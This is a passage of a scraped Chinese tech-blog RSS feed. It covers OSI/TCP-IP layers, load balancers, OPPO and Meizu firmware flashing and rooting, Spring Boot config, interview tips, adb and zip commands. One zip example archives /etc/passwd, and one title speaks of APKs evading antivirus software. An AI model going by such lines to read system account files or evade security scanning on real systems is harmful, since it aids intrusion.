主要是将从下层接收的数据进行分段和传输，到达目的地址后再进行重组，常常把这一层数据叫做段。&#xA;传输协议同时进行流量控制或是基于接收方可接收数据的快慢程度规定适当的发送速率。除此之外，传输层按照网络能处理的最大尺寸将较长的数据包进行强制分割。例如，以太网无法接收大于1 5 0 0 字节的数据包。发送方节点的传输层将数据分割成较小的数据片，同时对每一数据片安排一序列号，以便数据到达接收方节点的传输层时，能以正确的顺序重组。该过程即被称为排序。&#xA;会话层（Session Layer）：负责在网络中的两节点之间建立、维持和终止通信。 会话层的功能包括：建立通信链接，保持会话过程通信链接的畅通，同步两个节点之间的对话，决定通信是否被中断以及通信中断时决定从何处重新发送。&#xA;通过传输层（端口号：传输端口与接收端口）建立数据传输的通路，主要在你的系统之间发起会话或者接受会话请求（设备之间需要互相认识可以是IP也可以是MAC或者是主机名）。&#xA;表示层（Presentation Layer）：应用程序和网络之间的翻译官，在表示层，数据将按照网络能理解的方案进行格式化；这种格式化也因所使用网络的类型不同而不同。 表示层管理数据的解密与加密，如系统口令的处理。可确保一个系统的应用层所发送的信息可以被另一个系统的应用层读取。例如，PC程序与另一台计算机进行通信，其中一台计算机使用扩展二一十进制交换码（EBCDIC），而另一台则使用美国信息交换标准码（ASCII）来表示相同的字符。如有必要，表示层会通过使用一种通格式来实现多种数据格式之间的转换。&#xA;应用层（Application Layer）： 是最靠近用户的OSI层，这一层为用户的应用程序（例如电子邮件、文件传输和终端仿真）提供网络服务。&#xA;四层各层简介： TCP/IP是一组协议的代名词，它还包括许多协议，组成了TCP/IP协议簇。TCP/IP协议簇分为四层，IP位于协议簇的第二层(对应OSI的第三层)，TCP位于协议簇的第三层(对应OSI的第四层)。&#xA;TCP/IP通讯协议采用了4层的层级结构，每一层都呼叫它的下一层所提供的网络来完成自己的需求。这4层分别为：&#xA;应用层：应用程序间沟通的层，如简单电子邮件传输（SMTP）、文件传输协议（FTP）、网络远程访问协议（Telnet）等。&#xA;传输层：在此层中，它提供了节点间的数据传送服务，如传输控制协议（TCP）、用户数据报协议（UDP）等，TCP和UDP给数据包加入传输数据并把它传输到下一层中，这一层负责传送数据，并且确定数据已被送达并接收。&#xA;网络层：负责提供基本的数据封包传送功能，让每一块数据包都能够到达目的主机（但不检查是否被正确接收），如网际协议（IP）。&#xA;网络接口层：对实际的网络媒体的管理，定义如何使用实际网络（如Ethernet、Serial Line等）来传送数据。&#xA;OSI七层和TCP/IP四层的区别 OSI引入了服务、接口、协议、分层的概念，TCP/IP借鉴了OSI的这些概念建立TCP/IP模型。OSI先有模型，后有协议，先有标准，后进行实践；而TCP/IP则相反，先有协议和应用再提出了模型，且是参照的OSI模型。OSI是一种理论下的模型，而TCP/IP已被广泛使用，成为网络互联事实上的标准。 除了层的数量之外，开放式系统互联（OSI）模型与TCP/IP协议有什么区别？&#xA;开放式系统互联模型是一个参考标准，解释协议相互之间应该如何相互作用。TCP/IP协议是美国国防部发明的，是让互联网成为了目前这个样子的标准之一。开放式系统互联模型中没有清楚地描绘TCP/IP协议，但是在解释TCP/IP协议时很容易想到开放式系统互联模型。两者的主要区别如下：&#xA;TCP/IP协议中的应用层处理开放式系统互联模型中的第五层、第六层和第七层的功能。&#xA;TCP/IP协议中的传输层并不能总是保证在传输层可靠地传输数据包，而开放式系统互联模型可以做到。这是因为TCP/IP协议还提供一项名为UDP（用户数据报协议）的选择。UDP不能保证可靠的数据包传输。&#xA;有关问题&#xA;交换机工作在OSI的哪一层&#xA;二层交换机工作在OSI的第二层数据链路层，由于它们要对帧解码并使用帧信息将数据发送到正确的接收方，所以它们是工作在数据链路层的。&#xA;三层交换机是工作在OSI的网络层，因为三层交换机有路由功能。&#xA;路由器工作在OSI的哪一层&#xA;路由器工作在OSI七层模型的第3层，网络层。由于网络层处理，并智能指导数据传送，路由器连接网络各段，所以路由器属于网络层。在网络中，“路由”是基于编址方案、使用模式以及可达性来指引数据的发送。 网络层负责在源机器和目标机器之间建立它们所使用的路由。&#xA;PING命令使用OSI哪一层协议&#xA;ping命令使用的是ICMP协议，位于OSI七层网络模型中的第三层，网络层；&#xA;2 LVS优缺点 优点 抗负载能力强、是工作在网络4层之上仅作分发之用，没有流量的产生，这个特点也决定了它在负载均衡软件里的性能最强的，对内存和cpu资源消耗比较低。配置性比较低，这是一个缺点也是一个优点，因为没有可太多配置的东西，所以并不需要太多接触，大大减少了人为出错的几率。工作稳定，因为其本身抗负载能力很强，自身有完整的双机热备方案，如LVS+Keepalived。无流量，LVS只分发请求，而流量并不从它本身出去，这点保证了均衡器IO的性能不会受到大流量的影响。应用范围比较广，因为LVS工作在4层，所以它几乎可以对所有应用做负载均衡，包括http、数据库、在线聊天室等等。 缺点 软件本身不支持正则表达式处理，不能做动静分离；而现在许多网站在这方面都有较强的需求，这个是Nginx/HAProxy+Keepalived的优势所在。如果是网站应用比较庞大的话，LVS/DR+Keepalived实施起来就比较复杂了，特别后面有 Windows Server的机器的话，如果实施及配置还有维护过程就比较复杂了，相对而言，Nginx/HAProxy+Keepalived就简单多了。 3 nginx优缺点 优点 工作在网络的7层之上，可以针对http应用做一些分流的策略，比如针对域名、目录结构，它的正则规则比HAProxy更为强大和灵活，这也是它目前广泛流行的主要原因之一，Nginx单凭这点可利用的场合就远多于LVS了。Nginx对网络稳定性的依赖非常小，理论上能ping通就就能进行负载功能，这个也是它的优势之一；相反LVS对网络稳定性依赖比较大。Nginx安装和配置比较简单，测试起来比较方便，它基本能把错误用日志打印出来。LVS的配置、测试就要花比较长的时间了，LVS对网络依赖比较大。可以承担高负载压力且稳定，在硬件不差的情况下一般能支撑几万次的并发量，负载度比LVS相对小些。Nginx可以通过端口检测到服务器内部的故障，比如根据服务器处理网页返回的状态码、超时等等，并且会把返回错误的请求重新提交到另一个节点，不过其中缺点就是不支持url来检测。比如用户正在上传一个文件，而处理该上传的节点刚好在上传过程中出现故障，Nginx会把上传切到另一台服务器重新处理，而LVS就直接断掉了，如果是上传一个很大的文件或者很重要的文件的话，用户可能会因此而不满。Nginx不仅仅是一款优秀的负载均衡器/反向代理软件，它同时也是功能强大的Web应用服务器。LNMP也是近几年非常流行的web架构，在高流量的环境中稳定性也很好。Nginx现在作为Web反向加速缓存越来越成熟了，速度比传统的Squid服务器更快，可以考虑用其作为反向代理加速器。Nginx可作为中层反向代理使用，这一层面Nginx基本上无对手，唯一可以对比Nginx的就只有 lighttpd了，不过 lighttpd目前还没有做到Nginx完全的功能，配置也不那么清晰易读，社区资料也远远没Nginx活跃。Nginx也可作为静态网页和图片服务器，这方面的性能也无对手。还有Nginx社区非常活跃，第三方模块也很多。 缺点 Nginx仅能支持http、https和Email协议，这样就在适用范围上面小些，这个是它的缺点。对后端服务器的健康检查，只支持通过端口来检测，不支持通过url来检测。不支持Session的直接保持，但能通过ip_hash来解决。LVS：使用Linux内核集群实现一个高性能、高可用的负载均衡服务器，它具有很好的可伸缩性（Scalability)、可靠性（Reliability)和可管理性（Manageability)。 4 haproxy 特点 HAProxy也是支持虚拟主机的，可以工作在4、7层(支持多网段)；HAProxy的优点能够补充Nginx的一些缺点，比如支持Session的保持，Cookie的引导；同时支持通过获取指定的url来检测后端服务器的状态。HAProxy跟LVS类似，本身就只是一款负载均衡软件；单纯从效率上来讲HAProxy会比Nginx有更出色的负载均衡速度，在并发处理上也是优于Nginx的。HAProxy支持TCP协议的负载均衡转发，可以对MySQL读进行负载均衡，对后端的MySQL节点进行检测和负载均衡，大家可以用LVS+Keepalived对MySQL主从做负载均衡。HAProxy负载均衡策略非常多，HAProxy的负载均衡算法现在具体有如下8种：</description>
    </item>
    <item>
      <title>android10的coloros,OPPOReno10倍变焦版ColorOSV7刷机包（官方最新固件升级包安卓10ColorOS V7）...</title>
      <link>https://bchobby.github.io/posts/bff72d54eadfe1df3c4f18308c5aa993/</link>
      <pubDate>Fri, 28 May 2021 13:10:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bff72d54eadfe1df3c4f18308c5aa993/</guid>
      <description>OPPO Reno 10倍变焦版搭载高通骁龙855处理器，后置摄像头4800万像素+1300万像素+800万像素高清级像素，最新的系统版本已经更新，新增录屏内录功能，集成Android安全补丁，提升系统安全性，有需要的，可以进行下载了。&#xA;刷机前请提前备份您的个人资料，请将备份数据存储至电脑或其他设备，以防资料丢失!&#xA;版本介绍：&#xA;OPPO Reno 10倍变焦版 (PCCM00)安卓10 ColorOS V7&#xA;UI类型：Color OS&#xA;ROM大小：3200 M&#xA;Android系统版本：Android 10&#xA;更新日志：&#xA;安全&#xA;新增 集成Android 2020年6月安全补丁，提升系统安全性&#xA;相机&#xA;新增 视频光变功能，视频拍摄从超广角到广角再到长焦等不同焦段可轻松变换，给您带来全新拍摄体验。&#xA;系统&#xA;新增 无线打印， 无线连接打印机，便捷打印图片和PDF文件&#xA;优化 系统性能和稳定性，让您的手机运行更流畅、更稳定&#xA;优化 人脸识别，提升人脸识别的稳定性&#xA;游戏&#xA;新增 弹幕通知，游戏聊天两不误&#xA;工具&#xA;新增 便签待办功能，支持一键修改完成状态和设置时间提醒，高效管理待办事项&#xA;新增 便签加密文件夹功能，支持将便签中的私密信息存入加密文件夹内，不用担心私密信息外泄&#xA;新增 录音转文本，可将录音信息转为文本，并支持文本快捷导出&#xA;新增 日历/日程共享，可通过OPPO账号、微信小程序邀请好友加入，共享日历/日程动态&#xA;应用&#xA;新增 邮件APP，支持添加Exchange账号，方便管理多种邮箱&#xA;来源：xcl</description>
    </item>
    <item>
      <title>springboot消息转换器</title>
      <link>https://bchobby.github.io/posts/44cb4b2299b32874b1ccd0addaa12ed6/</link>
      <pubDate>Fri, 28 May 2021 11:15:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44cb4b2299b32874b1ccd0addaa12ed6/</guid>
      <description>@Configuration public class WebConfigurer implements WebMvcConfigurer { /** * 定义JSON格式转换器 */ @Bean public MappingJackson2HttpMessageConverter jackson2HttpMessageConverter() { MappingJackson2HttpMessageConverter converter = new MappingJackson2HttpMessageConverter(); ObjectMapper mapper = new ObjectMapper(); mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL); mapper.setDateFormat(new SimpleDateFormat(&#34;yyyy-MM-dd HH:mm:ss&#34;)); converter.setObjectMapper(mapper); // 将long类型的数据转为String类型 SimpleModule simpleModule = new SimpleModule(); simpleModule.addSerializer(Long.class, ToStringSerializer.instance); simpleModule.addSerializer(Long.TYPE, ToStringSerializer.instance); simpleModule.addSerializer(long.class, ToStringSerializer.instance); mapper.registerModule(simpleModule); return converter; } /** * 添加转换器 */ @Override public void configureMessageConverters(List&amp;lt;HttpMessageConverter&amp;lt;?&amp;gt;&amp;gt; converters) { // 将我们定义的时间格式转换器添加到转换器列表中, // 这样jackson格式化时候但凡遇到Date类型就会转换成我们定义的格式 converters.add(jackson2HttpMessageConverter()); } } MappingJackson2HttpMessageConverter 处理请求类型为application/json类型数据。</description>
    </item>
    <item>
      <title>职业规划（二）-- 怎么面试</title>
      <link>https://bchobby.github.io/posts/dc8320f691de45cc091293dcfe519a58/</link>
      <pubDate>Fri, 28 May 2021 09:15:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc8320f691de45cc091293dcfe519a58/</guid>
      <description>文章目录 1. 面试前准备2. 面试中3. 面试后 1. 面试前准备 面试前我们要做相关的准备，面试的职位不同，需要的准备也不相同。&#xA;因为本人是做 IT 的，从底层开发，项目工程落地，团队管理，ToB 项目的客户成功团队管理（除开发，测试等其他的工作，保证ToB 接入客户成功的团队），技术上，管理上，战略上都有涉及。&#xA;我只能以我目前当面试官的经历去讲解写以上的知识点。&#xA;技术上：&#xA;根据各个平台特性的一些需要了解的问题，这个在网上有很多，什么面试宝典啊，面试题等等，大家就直接刷题就好。算法上我涉及不多，我是做工程的，更多的工作内容是在于工程怎么落地，算法上可能就是一些数据结构上的知识，所以数据结构一定要了解，并且要有一些积累，这对我们以后的开发是有好处的。工作上的内容，一般我们招聘，都是要找在内容上是有合适的，那么在看简历的时候也会有知道面试者的项目内容，否则就没有办法面试了。所以工作上的内容和业绩一定要写清楚，一目了然，让面试官直接问你相关的工作细节就好。现在很多面试技术的，都只知道一些皮毛，或者工作中需要了解的，比如没有写过线程；进程不知道干什么的；任务队列都没有写过；数据结构都不知道&#xA;面试前要做好准备，一定要做好准备。 2. 面试中 本人仅面试过开发，售前，没有面试过其他的岗位，所以只能从这两个岗位上说，重要的一点，面试前一定要确定职位的职责到底在哪，先让面试官介绍下，如果不符合自己的预期，不要盲目的面试。&#xA;面试一定要提前准备，并且如果是网络测试，一定要提前测试自己的设备是否ok。如果有变动，一定要提前通知，现在虽然人不好招，但是对自己对他人都不负责任这也不好的。面试第一步，一般都是简介下自己。说明下，这一步一定不要长，也不要长篇大论，简短的介绍，给面试官在看看简历的时间。这个简短要有重点，比如你业绩比较好的项目，让面试官直接就感兴趣，这样可以节约时间，并且能对自己有利面试都会要问一些技术，问道自己会的技术，就直接回答好了；问道自己不会的，就直接回答不会。不要太浪费时间，要争取让面试官问一下你会的，他想了解，并且感兴趣的。项目经历，要说一些有业绩的，业绩是什么，一定要讲清楚；多讲出自己的看法，反省，总结；对自己未来的规划；一定要讲自己做了什么；说实话，可以夸大一点，但要自己圆上，不要夸大后，圆不回来就傻逼了。hr 面，就要自己把握了，不要说的太离谱，说对企业有利的，多顺着hr 说。如果频繁的跳槽，一定要说明理由，比如跟着领导跳的，公司有一些其他的事情啊等等，一定要说出，并且要对自己有利的说辞。性格方面要积极，并且要担责，并且要在项目中体现。至于hr 面中的一些问题，都可以上网上找到。面试过程中，一定要口齿清晰，思路简洁明了，尽可能的不要带有方言，沟通也是很重要一环。面试官也是为了工作，并且现在很多时候就要一天面试好几个人，你是在求职，面试官是在工作，所以你越详细，讲解的越好，面试官也轻松，越能问一些细节，大家一起协作，你的面试评价就越好。都说面试后可以找面试官问一些问题，提问不要太尖锐，随便问问就好，或者公司环境啊，福利啊，都可以。没有必要像网上那样的问一些话题什么的，当然有个准备也是有好处的。 3. 面试后 面试后，可以直接找 hr 或者猎头问下面试结果，不要不好意思。薪资看自己评估，一般上涨 20-30% 都可以的。</description>
    </item>
    <item>
      <title>android shell 安装 apk,使用 adb shell 和 pm 安装 apk 包到安卓手机</title>
      <link>https://bchobby.github.io/posts/2980c69b048da6cc96409cb94e6ea36d/</link>
      <pubDate>Fri, 28 May 2021 08:31:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2980c69b048da6cc96409cb94e6ea36d/</guid>
      <description>使用 adb shell 和 pm 安装 apk 包到安卓手机&#xA;安装好 Android Studio 之后，adb 一般是在 /Users/exchen/Library/Android/sdk/platform-tools 目录&#xA;设置好环境变量或者切换到 adb 所在的目录，执行 adb devices 查看本机连接的设备，命令如下：&#xA;./adb devices&#xA;List of devices attached&#xA;0123456789ABCDEF device&#xA;emulator-5554 device&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;./adbdevices&#xA;Listofdevicesattached&#xA;0123456789ABCDEFdevice&#xA;emulator-5554device&#xA;可以看到上面的信息显示连接了两台设备，一个是真机，一个是模拟器，由于有两台设备执行操作时需要指定目标设备，比如安装 apk，命令如下：&#xA;./adb -s 0123456789ABCDEF install ~/Downloads/test.apk&#xA;Performing Push Install&#xA;adb: error: failed to copy &#39;/Users/exchen/Downloads/test.apk&#39; to &#39;/data/local/tmp/test.apk&#39;: couldn&#39;t read from device&#xA;/Users/momo/Downloads/test.apk: 0 files pushed. 92.5 MB/s (131056 bytes in 0.</description>
    </item>
    <item>
      <title>android&#43;apk&#43;不被杀毒软件,BuyNewCar_Android_duomeng.apk 0% Antivirus software(0/39) found malware! - VirSCA...</title>
      <link>https://bchobby.github.io/posts/1a65ba17f4a4c03e7d80ac13036b725f/</link>
      <pubDate>Fri, 28 May 2021 07:16:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a65ba17f4a4c03e7d80ac13036b725f/</guid>
      <description>文件列表&#xA;文件名&#xA;校验码&#xA;res/anim/latestoffer_round.xml&#xA;0xf5f00423&#xA;res/anim/progress.xml&#xA;0x9a5c6349&#xA;res/anim/progress_round.xml&#xA;0x57bae819&#xA;res/anim/push_up_in.xml&#xA;0x1e388206&#xA;res/anim/push_up_out.xml&#xA;0xb8bff983&#xA;res/anim/slide_in_from_bottom.xml&#xA;0x2aa4736f&#xA;res/anim/slide_in_from_top.xml&#xA;0x2cb16dfe&#xA;res/anim/slide_out_to_bottom.xml&#xA;0x343c2f52&#xA;res/anim/slide_out_to_top.xml&#xA;0xac87d604&#xA;res/anim/umeng_fb_slide_in_from_left.xml&#xA;0x970dfb8b&#xA;res/anim/umeng_fb_slide_in_from_right.xml&#xA;0xd29e9c99&#xA;res/anim/umeng_fb_slide_out_from_left.xml&#xA;0x807b5089&#xA;res/anim/umeng_fb_slide_out_from_right.xml&#xA;0x847927ad&#xA;res/drawable/actionbar_provider_background_selector.xml&#xA;0x69366c78&#xA;res/drawable/attr_bg_0.xml&#xA;0xcf3a62d9&#xA;res/drawable/attr_bg_1.xml&#xA;0xeea6408e&#xA;res/drawable/attr_textcolor.xml&#xA;0x9cec72cf&#xA;res/drawable/btn_arrow_gray_selector.xml&#xA;0x9d36fa1a&#xA;res/drawable/btn_arrow_noline_selector.xml&#xA;0x6c1f4847&#xA;res/drawable/btn_arrow_selector.xml&#xA;0x9857f216&#xA;res/drawable/btn_business_selector.xml&#xA;0x7def1fe0&#xA;res/drawable/btn_checkbox_selector.xml&#xA;0xc3617ed7&#xA;res/drawable/btn_pop_selector.xml&#xA;0x13b5a734&#xA;res/drawable/button_bg_logout_selector.xml&#xA;0xf6c41033&#xA;res/drawable/button_delete_bg_selector.xml&#xA;0x22b8fe25&#xA;res/drawable/calculator_radiobutton_selector.xml&#xA;0x6371e6ad&#xA;res/drawable/calculator_radiobutton_textcolor_selector.xml&#xA;0x31fde6ad&#xA;res/drawable/carbrand_item_bg.xml&#xA;0x4df318e0&#xA;res/drawable/carmodels_item_bg.xml&#xA;0xdf5aef3a&#xA;res/drawable/carparamsgridview_item_background_selector.xml&#xA;0xc7d66ce2&#xA;res/drawable/carparamsgridview_item_text_selector.xml&#xA;0x4944567c&#xA;res/drawable/carseries_item_bg.xml&#xA;0x488272e8&#xA;res/drawable/checkbox_selector.xml&#xA;0x9c576a61</description>
    </item>
    <item>
      <title>flyme android 7 推送,魅族Flyme 7体验版推送更新：老旗舰也能升级</title>
      <link>https://bchobby.github.io/posts/f7ba33233296781dffe68270b566864e/</link>
      <pubDate>Fri, 28 May 2021 06:27:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7ba33233296781dffe68270b566864e/</guid>
      <description>今日，魅族正式推送了Flyme 7体验版更新，版本号为Flyme 7.8.12.11 beta，这次的系统更新所涵盖的机型不仅包括今年的旗舰魅族16th和16th Plus，就连魅蓝Note 6和魅族Pro 7也可以尝尝鲜。&#xA;本次更新为魅族16th调整面部识别逻辑，支持暗光环境下进行解锁(16 th Plus后续支持)。&#xA;本次更新通过报名获得体验版推送，无需清除手机数据，可直接更新至体验版。从 Flyme 官网下载更新建议先备份好资料，选择清除数据更新。&#xA;报名方式：进入系统更新 App，将手机系统更新至最新稳定版后，点击“我要报名”即可。&#xA;本次更新支持机型如下：魅族16th&#xA;魅族16th Plus&#xA;魅族15 Plus&#xA;魅族15&#xA;魅族M15&#xA;魅族Pro 7 Plus&#xA;魅族Pro 7高配版&#xA;魅族Pro 7标配版&#xA;魅蓝Note 6&#xA;Flyme 7体验版12月11日更新内容大全：&#xA;魅族 16th、魅族 16th Plus&#xA;功能调整：&#xA;指纹、面部和安全移除密码输入错误后的锁定功能，支持多次输入密码和短时冻结，降低操作难度&#xA;16th调整面部识别逻辑，支持暗光环境下进行解锁(16 th Plus后续支持)&#xA;游戏模式游戏模式下支持锁定屏幕亮度功能，眼睛不受光线影响，游戏更稳定&#xA;路径：设置-辅助功能-游戏模式-锁定屏幕亮度&#xA;系统提升手势导航使用流畅度&#xA;通知栏新增低电量模式快捷开关&#xA;录屏默认分辨率调整为720P&#xA;优化屏幕自动亮度逻辑&#xA;桌面新增Meizu Pay图标&#xA;问题改进&#xA;·输入法解决快捷短语删除失败的问题&#xA;修复偶现点击候选拼音无反应的现象&#xA;·系统解决部分场景下网络定位失败的问题&#xA;修复点击通知栏中的“开发者选项”无响应的现象&#xA;修复状态栏显示有通知，下拉通知栏后显示一段空白的现象&#xA;其他机型&#xA;功能调整：&#xA;游戏模式接入迅游加速快捷入口，提升游戏模式下的网络稳定性&#xA;路径：设置-辅助功能-游戏模式-迅游加速&#xA;桌面桌面新增Meizu Pay图标&#xA;问题改进修复手机瘦身时手机管家App闪退的现象&#xA;修复部分场景下邮件App闪退的现象&#xA;修复打开信息App后卡在智慧短信界面的现象&#xA;修复部分场景下播放抖音短视频自动灭屏的现象</description>
    </item>
    <item>
      <title>魅蓝E 刷android,魅蓝e怎么root,或者怎么刷成android系统</title>
      <link>https://bchobby.github.io/posts/c46331052b87c84719acfd43c9a293d4/</link>
      <pubDate>Fri, 28 May 2021 04:03:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c46331052b87c84719acfd43c9a293d4/</guid>
      <description>魅蓝E怎么Root？ 魅蓝E手机刚刚发布没多久，现在，不少用户已经入手了这部手机。而在ROOT方面，魅蓝手机ROOT比较简单，因为系统自带了ROOT工具，无需借助第三方工具即可快速获取手机最高权限。那么，魅蓝E怎么Root?话不多说，以下是魅蓝E ROOT教程。 魅蓝E 魅蓝E Root教程 魅蓝E一键ROOT教程 一。从魅蓝E桌面依次点击进入「设置」-「Flyme账户」，然后使用Flyme账号登录，如图。 魅蓝E 设置 如果还没有Flyme账号，使用手机注册一个即可，如图所示。 魅蓝E 还没有账号?先注册一个 二。使用账号登录之后，再进入魅蓝E手机的「设置」-「指纹和安全」设置界面，如图所示。 魅蓝E 进入指纹和安全设置 三。继续打开「Root权限」选项，在弹出的ROOT提示界面，先勾选上「同意接受以上内容」并点击下方的-》「确定」，如图所示。 魅蓝E 勾选同意接受以上内容，确认ROOT 四。为了防止他人操作，进行魅蓝E ROOT操作前，需要再次输入一次Flyme密码，完成后手机会自动重启，如图所示。 魅蓝E 输入Flyme密码，确认ROOT 等到魅蓝E手机重启完成之后，再次进入「设置」-「指纹和安全」-「Root权限」设置界面，就可以看到ROOT成功了，完成后，就能拥有对手机的最高管理权限了。&#xA;取消&#xA;评论</description>
    </item>
    <item>
      <title>zip 压缩命令</title>
      <link>https://bchobby.github.io/posts/f9b440750244fd56fe58c1b88eaeef2c/</link>
      <pubDate>Thu, 27 May 2021 22:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9b440750244fd56fe58c1b88eaeef2c/</guid>
      <description> zip 命令为压缩命令，压缩后不覆盖源文件，可以压缩目录，一般后缀名为.zip用于压缩文件，其语法格式如下：&#xA;zip [选项] 文件名.zip /xxx/路径xxx/文件 常用参数选项如下：&#xA;-v&#x9;：可视化操作，显示压缩的执行过程，默认就是可视化 -q&#x9;： 静默操作，不显示指令执行过程 -r ：表示递归打包包含子目录的全部内容 -d&#x9;：从压缩文件内删除指定的文件 -n&#x9;：n为一个数字，压缩级别是从 1~9 的数字，-1 代表压缩速度更快，-9 代表压缩效果更好 -e ：加密压缩文件 -u&#x9;:追加文件到zip压缩包中 演示示例：&#xA;zip -vr etc.zip /etc/&#x9;#压缩/etc/目录，压缩文件名为etc.zip zip -d myfile.zip smart.txt&#x9;#删除压缩文件中的指定文件 zip -e passwd.zip /etc/passwd #加密压缩，需要输入密码 zip -u passwd.zip mypasww.txt&#x9;#追加mypasww.txt文件到压缩包中 </description>
    </item>
    <item>
      <title>oppok1刷原生android10,OPPOK1系统升级最新ColorOSV6刷机包（完整固件rom下载ColorOSV6安卓9.0）...</title>
      <link>https://bchobby.github.io/posts/b849a3ae4a8a20bf7d54743b2a653e5f/</link>
      <pubDate>Thu, 27 May 2021 21:37:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b849a3ae4a8a20bf7d54743b2a653e5f/</guid>
      <description>OPPO K1搭载骁龙660处理器，3600毫安大电池，全新版本已经可以进行下载体验，优化人像模式拍照体验，优化相册交互，新增共享图集，分享精彩每一刻，新增图片、图集收藏功能，一键收藏重要图片，有需要的，可以进行下载了。&#xA;刷机有风险，操作需谨慎。刷机前请提前备份您的个人资料，以防资料丢失!&#xA;版本信息：&#xA;OPPO K1 (PBCM30) ColorOS V6&#xA;UI类型：Color OS&#xA;ROM大小：2497 M&#xA;Android系统版本：Android 9.0&#xA;更新日志：&#xA;优化 人像模式拍照体验&#xA;优化 相机交互&#xA;「相册」&#xA;优化 相册交互&#xA;新增 共享图集，分享精彩每一刻&#xA;新增 图片、图集收藏功能，一键收藏重要图片&#xA;「通信」&#xA;新增 骚扰拦截黑名单开头号码匹配，拦截特定号码开头的电话和短信&#xA;新增 来电闪光灯，锁屏或熄屏状态下来电时会有闪光灯提醒&#xA;新增 手机支持两个蓝牙音频设备同时连接，不同蓝牙音频支持快速切换&#xA;「设置」&#xA;新增 应用启动动画速度设置项&#xA;·新增 屏幕色彩模式，屏幕显示效果自由切换&#xA;来源：xcl</description>
    </item>
    <item>
      <title>oppok1刷原生android10,OPPO K1刷机教程_OPPO K1卡刷升级更新官方系统包</title>
      <link>https://bchobby.github.io/posts/8b4071c322defef3bb662be99e86cc47/</link>
      <pubDate>Thu, 27 May 2021 21:37:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b4071c322defef3bb662be99e86cc47/</guid>
      <description>下面也是咱们的OPPO K1手机的相关的刷机操作了，这个刷机也是针对官方的固件rom包来进行的，之前给大家已经说过相关的固件rom包的下载了，不过有的机友是把固件包下载下来了，却不知道如何进行具体的刷机操作，所以在这里整理了一个详细的卡刷操作教程了，这个卡刷操作也不复杂，也是利用官方自带的recoery来给手机刷入一个官方原版的系统了，操作上也是很简单的，如果你也需要的话就一起来看看吧：&#xA;一：OPPO K1升级前的准备工作&#xA;1：下载官方原版的固件升级包，点击这里下载，下载下来先放到电脑上&#xA;2：确保手机能用usb数据线正常的连接电脑，连接电脑是为了把升级包复制到手机里&#xA;3：手机先备用一下重要的短信和联系人之类的信息&#xA;4：手机至少要有40%以上的电量才可以升级，切记：不要一边充电一边升级&#xA;二：OPPO K1开始升级操作：&#xA;1：首先，确认手机有足够的电量！&#xA;2：把上面下载好的rar格式的升级包在电脑上进行解压，如下图，然后找到zip格式的升级包(这个ozip格式的包不用解压)直接复制到手机存储根目录，最好是手机存储卡的根目录下&#xA;3：OK，现在把手机关机，关机之后，同时按住手机的【电源键】和【音量下键】，直到进入recovery模式，选择【简体中文】&#xA;4：然后选择【清除数据和缓存】，点击 【清除用户数据和缓存】直到完成&#xA;5：然后选择【安装升级文件】&#xA;6：接下来选择刚才复制到手机存储卡根目录下的zip格式的升级包，然后选择确定，接着就开始安装啦&#xA;7：安装完成后，重启或者继续安装&#xA;8：OK，重启就可以了&#xA;(本文来源) https://www.netded.com/a/jingpinshouji/2018/1023/37095.html</description>
    </item>
    <item>
      <title>oppok1刷原生android10,oppok1刷机教程分享</title>
      <link>https://bchobby.github.io/posts/06683a832588494521b03ee6ed3ae59a/</link>
      <pubDate>Thu, 27 May 2021 21:37:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06683a832588494521b03ee6ed3ae59a/</guid>
      <description>有的网友还不熟悉oppok1刷机的操作，而本节介绍了oppok1刷机操作，还不了解的朋友就跟着小编学习一下吧，希望对你们有所帮助。&#xA;oppok1刷机教程分享&#xA;一、刷机相关术语介绍&#xA;1.RE模式：RE全称Recovery指的是一种可以对安卓机内部的数据或系统进行修改的模式，也叫工程模式。在这个模式下我们可以刷入新的安卓系统，或者对已有的系统进行备份或升级。&#xA;进入方式：关机状态下按住关机键+音量-键手机震动一次后松开即可进入.&#xA;2.ROM包：论坛上下载的能刷入手机的一个包含手机系统文件的压缩包即叫ROM包，也叫固件包。&#xA;二、固件下载&#xA;⒈进入oppo官网社区首页会导航栏进入ColorOS 升级版块。&#xA;⒉找到OPPO K1对应的机型。&#xA;⒊点击立即下载即可，下载完成后可以看到一个后缀为OZIP的ROM包。&#xA;三、刷机教程&#xA;注：不管哪种方法刷机前一定要备份好自己的数据资料。&#xA;推荐使用系统自带备份与恢复软件 ：设置-&amp;gt;其他设置-&amp;gt;备份与恢复-&amp;gt;如图。&#xA;⒈方法一：简单模式&#xA;使用手机在ColorOS升级中下载对应固件包，将后缀为OZIP的固件包粘贴进手机存储根目录，点击该‘固件’然后自动重启升级。&#xA;更新完成后自动重启即可使用。&#xA;⒉方法二：Recovery模式&#xA;在ColorOS升级中下载对应固件包，将手机用数据线连接上电脑，选择‘储存装置’，把后缀为OZIP的固件包放入手机根目录(根目录就是手机储存的最上面一个目录);或者直接用手机直接下载固件包，将后缀为OZIP的固件包放入手机根目录(根目录就是手机储存的最上面一个目录)。&#xA;粘贴进去后准备进入恢复模式，进入恢复模式的方法：&#xA;手机关机后，同时按住开机键和音量键，等手机产生震动即可松手，同时进入OPPO恢复模式。&#xA;直接点击‘简体中文’。&#xA;点击‘安装升级文件’。&#xA;点击‘从手机储存’。&#xA;找到放在根目录后缀为OZIP的固件包点击进行升级。&#xA;升级中，此时只需等待升级完成即可，不要做任何操作。&#xA;升级中刷机完成后直接点击‘重启’，完成刷机。&#xA;上文就讲解了oppok1刷机操作过程，希望有需要的朋友都来学习哦。</description>
    </item>
    <item>
      <title>行为型模式之解释器模式</title>
      <link>https://bchobby.github.io/posts/475a2ddea88e1145a713092ed47b3fbe/</link>
      <pubDate>Thu, 27 May 2021 20:24:38 +0800</pubDate>
